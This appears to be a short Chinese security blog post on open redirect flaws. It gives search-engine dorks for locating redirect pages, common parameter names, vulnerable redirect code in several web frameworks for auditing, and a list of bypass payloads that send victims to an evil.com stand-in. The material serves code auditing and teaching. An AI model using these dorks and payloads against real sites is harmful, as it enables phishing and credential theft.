2019年06月14日 10:34 阅读量:9162
inurl:go.php?q=http://
inurl:goto.php?q=http://
inurl:jump.php?url=http://
inurl:out.php?url=http://
inurl:redirect.php?q=http://
inurl:redirect.php?link=http://
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
domain
几种语句和框架版本常见的URL跳转代码如下,可用作白盒代码审计参考:
Java:
response.sendRedirect(request.getParameter("url"));
PHP:
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
.NET:
string redirect_url = request.QueryString["url"];
Response.Redirect(redirect_url);
Django:
redirect_url = request.GET.get("url")
HttpResponseRedirect(redirect_url)
Flask:
redirect_url = request.form['url']
redirect(redirect_url)
Rails:
redirect_to params[:url]
对于上述的字符串检测操作,均可以用欺骗手法绕过判断。简单可用的payload如下所示:
http://www.aaa.com?returnUrl=http://www.aaa.com.evil.com
http://www.aaa.com?returnUrl=http://www.evil.com/www.aaa.com
http://www.aaa.com?returnUrl=http://www.xxxaaa.com
若再配合URL的各种特性符号,绕过姿势可是多种多样。比如
利用问号?:
http://www.aaa.com?returnUrl=http://www.evil.com?www.aaa.com
利用反斜线:
http://www.aaa.com?returnUrl=http://www.evil.comwww.aaa.com
http://www.aaa.com?returnUrl=http://www.evil.com\www.aaa.com
利用@符号:
http://www.aaa.com?returnUrl=http://www.aaa.com@www.evil.com
利用井号#:
http://www.aaa.com?returnUrl=http://www.evil.com#www.aaa.com
http://www.aaa.com?returnUrl=http://www.evil.com#www.aaa.com?www.aaa.com
缺失协议:
http://www.aaa.com?returnUrl=/www.evil.com
http://www.aaa.com?returnUrl=//www.evil.com
多次跳转,即aaa公司信任ccc公司,ccc公司同样存在漏洞或者提供跳转服务:
http://www.aaa.com?returnUrl=http://www.ccc.com?jumpto=http://www.evil.com